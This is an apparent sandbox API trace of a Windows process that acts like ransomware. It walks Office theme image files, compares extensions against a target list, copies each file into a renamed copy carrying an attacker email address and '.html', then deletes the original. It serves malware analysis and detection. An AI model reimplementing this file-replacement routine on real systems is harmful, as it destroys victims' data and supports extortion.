[0044.811] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0044.811] lstrlenW (lpString=".pdf") returned 4 [0044.811] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0044.812] lstrlenW (lpString=".xls") returned 4 [0044.812] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0044.812] lstrlenW (lpString=".xlsx") returned 5 [0044.812] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0044.812] lstrlenW (lpString=".ppt") returned 4 [0044.812] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0044.812] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF") returned 75 [0044.812] lstrlenW (lpString=".zip") returned 4 [0044.812] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0044.812] lstrlenW (lpString=".rar") returned 4 [0044.812] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0044.812] lstrlenW (lpString=".bz2") returned 4 [0044.812] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0044.812] lstrlenW (lpString=".7z") returned 3 [0044.812] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0044.812] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF") returned 75 [0044.812] lstrlenW (lpString=".dbf") returned 4 [0044.812] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0044.812] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF") returned 75 [0044.812] lstrlenW (lpString=".1cd") returned 4 [0044.812] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0044.812] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF") returned 75 [0044.812] lstrlenW (lpString=".jpg") returned 4 [0044.812] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0044.812] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF") returned 75 [0044.812] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF") returned 75 [0044.812] lstrlenW (lpString=".doc") returned 4 [0044.812] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0044.812] lstrlenW (lpString=".docx") returned 5 [0044.812] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0044.812] lstrlenW (lpString=".pdf") returned 4 [0044.812] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0044.813] lstrlenW (lpString=".xls") returned 4 [0044.813] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0044.813] lstrlenW (lpString=".xlsx") returned 5 [0044.813] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0044.813] lstrlenW (lpString=".ppt") returned 4 [0044.813] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0044.813] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF") returned 75 [0044.813] lstrlenW (lpString=".zip") returned 4 [0044.813] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0044.813] lstrlenW (lpString=".rar") returned 4 [0044.813] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0044.813] lstrlenW (lpString=".bz2") returned 4 [0044.813] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0044.813] lstrlenW (lpString=".7z") returned 3 [0044.813] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0044.813] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF") returned 75 [0044.813] lstrlenW (lpString=".dbf") returned 4 [0044.813] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0044.813] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF") returned 75 [0044.813] lstrlenW (lpString=".1cd") returned 4 [0044.813] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0044.813] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF") returned 75 [0044.813] lstrlenW (lpString=".jpg") returned 4 [0044.813] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0044.813] lstrcmpiW (lpString1=".GIF", lpString2=".html") returned -1 [0044.813] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0044.813] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x174 [0044.814] GetFileSizeEx (in: hFile=0x174, lpFileSize=0x2c3ff1c | out: lpFileSize=0x2c3ff1c*=3970) returned 1 [0044.814] CloseHandle (hObject=0x174) returned 1 [0044.814] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\preview.gif")) returned 0x20 [0044.814] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\preview.gif.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0044.814] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x174 [0044.814] SetFilePointerEx (in: hFile=0x174, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0044.814] SetFilePointerEx (in: hFile=0x174, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0044.814] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\preview.gif.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0044.816] GetLastError () returned 0x0 [0044.816] ReadFile (in: hFile=0x174, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2c3fed4*=0xf82, lpOverlapped=0x0) returned 1 [0044.817] WriteFile (in: hFile=0x208, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0xf90, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2c3fc9c*=0xf90, lpOverlapped=0x0) returned 1 [0044.818] ReadFile (in: hFile=0x174, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2c3fed4*=0x0, lpOverlapped=0x0) returned 1 [0044.818] WriteFile (in: hFile=0x208, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2c3fc9c*=0xea, lpOverlapped=0x0) returned 1 [0044.818] SetEndOfFile (hFile=0x208) returned 1 [0044.818] CloseHandle (hObject=0x208) returned 1 [0044.818] SetFilePointerEx (in: hFile=0x174, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0044.819] SetEndOfFile (hFile=0x174) returned 1 [0044.819] CloseHandle (hObject=0x174) returned 1 [0044.819] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0044.819] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\preview.gif")) returned 1 [0044.820] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF") returned 76 [0044.820] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF") returned 76 [0044.820] lstrlenW (lpString=".doc") returned 4 [0044.820] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0044.820] lstrlenW (lpString=".docx") returned 5 [0044.820] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0044.820] lstrlenW (lpString=".pdf") returned 4 [0044.820] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0044.820] lstrlenW (lpString=".xls") returned 4 [0044.820] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0044.820] lstrlenW (lpString=".xlsx") returned 5 [0044.820] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0044.820] lstrlenW (lpString=".ppt") returned 4 [0044.820] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0044.820] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF") returned 76 [0044.820] lstrlenW (lpString=".zip") returned 4 [0044.820] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0044.820] lstrlenW (lpString=".rar") returned 4 [0044.820] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0044.820] lstrlenW (lpString=".bz2") returned 4 [0044.820] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0044.820] lstrlenW (lpString=".7z") returned 3 [0044.820] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0044.820] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF") returned 76 [0044.820] lstrlenW (lpString=".dbf") returned 4 [0044.820] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0044.820] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF") returned 76 [0044.820] lstrlenW (lpString=".1cd") returned 4 [0044.821] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0044.821] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF") returned 76 [0044.821] lstrlenW (lpString=".jpg") returned 4 [0044.821] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0044.821] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF") returned 76 [0044.821] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF") returned 76 [0044.821] lstrlenW (lpString=".doc") returned 4 [0044.821] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0044.821] lstrlenW (lpString=".docx") returned 5 [0044.821] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0044.821] lstrlenW (lpString=".pdf") returned 4 [0044.821] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0044.821] lstrlenW (lpString=".xls") returned 4 [0044.821] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0044.821] lstrlenW (lpString=".xlsx") returned 5 [0044.821] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0044.821] lstrlenW (lpString=".ppt") returned 4 [0044.821] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0044.821] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF") returned 76 [0044.821] lstrlenW (lpString=".zip") returned 4 [0044.821] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0044.821] lstrlenW (lpString=".rar") returned 4 [0044.821] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0044.821] lstrlenW (lpString=".bz2") returned 4 [0044.821] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0044.821] lstrlenW (lpString=".7z") returned 3 [0044.821] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0044.821] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF") returned 76 [0044.821] lstrlenW (lpString=".dbf") returned 4 [0044.821] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0044.821] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF") returned 76 [0044.821] lstrlenW (lpString=".1cd") returned 4 [0044.821] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0044.822] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF") returned 76 [0044.822] lstrlenW (lpString=".jpg") returned 4 [0044.822] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0044.822] lstrcmpiW (lpString1=".PNG", lpString2=".html") returned 1 [0044.822] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0044.822] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x174 [0044.822] GetFileSizeEx (in: hFile=0x174, lpFileSize=0x2c3ff1c | out: lpFileSize=0x2c3ff1c*=53115) returned 1 [0044.822] CloseHandle (hObject=0x174) returned 1 [0044.822] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\thmbnail.png")) returned 0x20 [0044.822] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\thmbnail.png.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0044.822] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x174 [0044.822] SetFilePointerEx (in: hFile=0x174, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0044.823] SetFilePointerEx (in: hFile=0x174, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0044.823] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\thmbnail.png.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0044.823] GetLastError () returned 0x0 [0044.823] ReadFile (in: hFile=0x174, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2c3fed4*=0xcf7b, lpOverlapped=0x0) returned 1 [0044.825] WriteFile (in: hFile=0x208, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0xcf80, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2c3fc9c*=0xcf80, lpOverlapped=0x0) returned 1 [0044.826] ReadFile (in: hFile=0x174, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2c3fed4*=0x0, lpOverlapped=0x0) returned 1 [0044.827] WriteFile (in: hFile=0x208, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2c3fc9c*=0xec, lpOverlapped=0x0) returned 1 [0044.827] SetEndOfFile (hFile=0x208) returned 1 [0044.827] CloseHandle (hObject=0x208) returned 1 [0044.827] SetFilePointerEx (in: hFile=0x174, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0044.827] SetEndOfFile (hFile=0x174) returned 1 [0044.828] CloseHandle (hObject=0x174) returned 1 [0044.828] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0044.828] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\thmbnail.png")) returned 1 [0044.828] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG") returned 77 [0044.829] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG") returned 77 [0044.829] lstrlenW (lpString=".doc") returned 4 [0044.829] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0044.829] lstrlenW (lpString=".docx") returned 5 [0044.829] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0044.829] lstrlenW (lpString=".pdf") returned 4 [0044.829] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0044.829] lstrlenW (lpString=".xls") returned 4 [0044.829] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0044.829] lstrlenW (lpString=".xlsx") returned 5 [0044.829] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0044.829] lstrlenW (lpString=".ppt") returned 4 [0044.829] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0044.829] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG") returned 77 [0044.829] lstrlenW (lpString=".zip") returned 4 [0044.829] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0044.829] lstrlenW (lpString=".rar") returned 4 [0044.829] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0044.829] lstrlenW (lpString=".bz2") returned 4 [0044.829] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0044.829] lstrlenW (lpString=".7z") returned 3 [0044.829] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0044.829] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG") returned 77 [0044.829] lstrlenW (lpString=".dbf") returned 4 [0044.829] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0044.829] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG") returned 77 [0044.829] lstrlenW (lpString=".1cd") returned 4 [0044.829] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0044.830] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG") returned 77 [0044.830] lstrlenW (lpString=".jpg") returned 4 [0044.830] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0044.830] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG") returned 77 [0044.830] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG") returned 77 [0044.830] lstrlenW (lpString=".doc") returned 4 [0044.830] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0044.830] lstrlenW (lpString=".docx") returned 5 [0044.830] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0044.830] lstrlenW (lpString=".pdf") returned 4 [0044.830] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0044.830] lstrlenW (lpString=".xls") returned 4 [0044.830] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0044.830] lstrlenW (lpString=".xlsx") returned 5 [0044.830] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0044.830] lstrlenW (lpString=".ppt") returned 4 [0044.830] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0044.830] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG") returned 77 [0044.830] lstrlenW (lpString=".zip") returned 4 [0044.830] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0044.830] lstrlenW (lpString=".rar") returned 4 [0044.830] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0044.830] lstrlenW (lpString=".bz2") returned 4 [0044.830] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0044.830] lstrlenW (lpString=".7z") returned 3 [0044.830] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0044.830] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG") returned 77 [0044.830] lstrlenW (lpString=".dbf") returned 4 [0044.830] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0044.830] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG") returned 77 [0044.830] lstrlenW (lpString=".1cd") returned 4 [0044.830] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0044.831] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG") returned 77 [0044.831] lstrlenW (lpString=".jpg") returned 4 [0044.831] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0044.831] lstrcmpiW (lpString1=".GIF", lpString2=".html") returned -1 [0044.831] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0044.831] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x174 [0044.831] GetFileSizeEx (in: hFile=0x174, lpFileSize=0x2c3ff1c | out: lpFileSize=0x2c3ff1c*=2604) returned 1 [0044.831] CloseHandle (hObject=0x174) returned 1 [0044.831] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\preview.gif")) returned 0x20 [0044.831] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\PREVIEW.GIF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\preview.gif.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0044.831] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x174 [0044.831] SetFilePointerEx (in: hFile=0x174, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0044.832] SetFilePointerEx (in: hFile=0x174, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0044.832] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\PREVIEW.GIF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\preview.gif.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0044.833] GetLastError () returned 0x0 [0044.833] ReadFile (in: hFile=0x174, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2c3fed4*=0xa2c, lpOverlapped=0x0) returned 1 [0044.836] WriteFile (in: hFile=0x1e8, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0xa30, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2c3fc9c*=0xa30, lpOverlapped=0x0) returned 1 [0044.837] ReadFile (in: hFile=0x174, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2c3fed4*=0x0, lpOverlapped=0x0) returned 1 [0044.837] WriteFile (in: hFile=0x1e8, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2c3fc9c*=0xea, lpOverlapped=0x0) returned 1 [0044.837] SetEndOfFile (hFile=0x1e8) returned 1 [0044.837] CloseHandle (hObject=0x1e8) returned 1 [0044.838] SetFilePointerEx (in: hFile=0x174, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0044.838] SetEndOfFile (hFile=0x174) returned 1 [0044.839] CloseHandle (hObject=0x174) returned 1 [0044.839] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\PREVIEW.GIF.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0044.839] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\preview.gif")) returned 1 [0044.839] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\PREVIEW.GIF") returned 74 [0044.839] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\PREVIEW.GIF") returned 74 [0044.839] 